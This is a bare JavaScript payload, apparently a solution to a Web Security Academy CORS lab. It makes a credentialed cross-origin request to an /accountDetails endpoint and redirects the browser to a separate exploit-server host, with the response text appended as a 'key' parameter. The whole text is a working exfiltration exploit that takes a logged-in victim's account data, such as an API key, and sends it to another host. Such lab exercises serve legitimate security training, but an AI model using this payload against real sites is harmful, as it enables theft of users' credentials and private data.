var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://ac101ff61eca340c80e4555000150068.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://acbf1f111e95343e800c55f8016600cd.web-security-academy.net/log?key='+this.responseText; };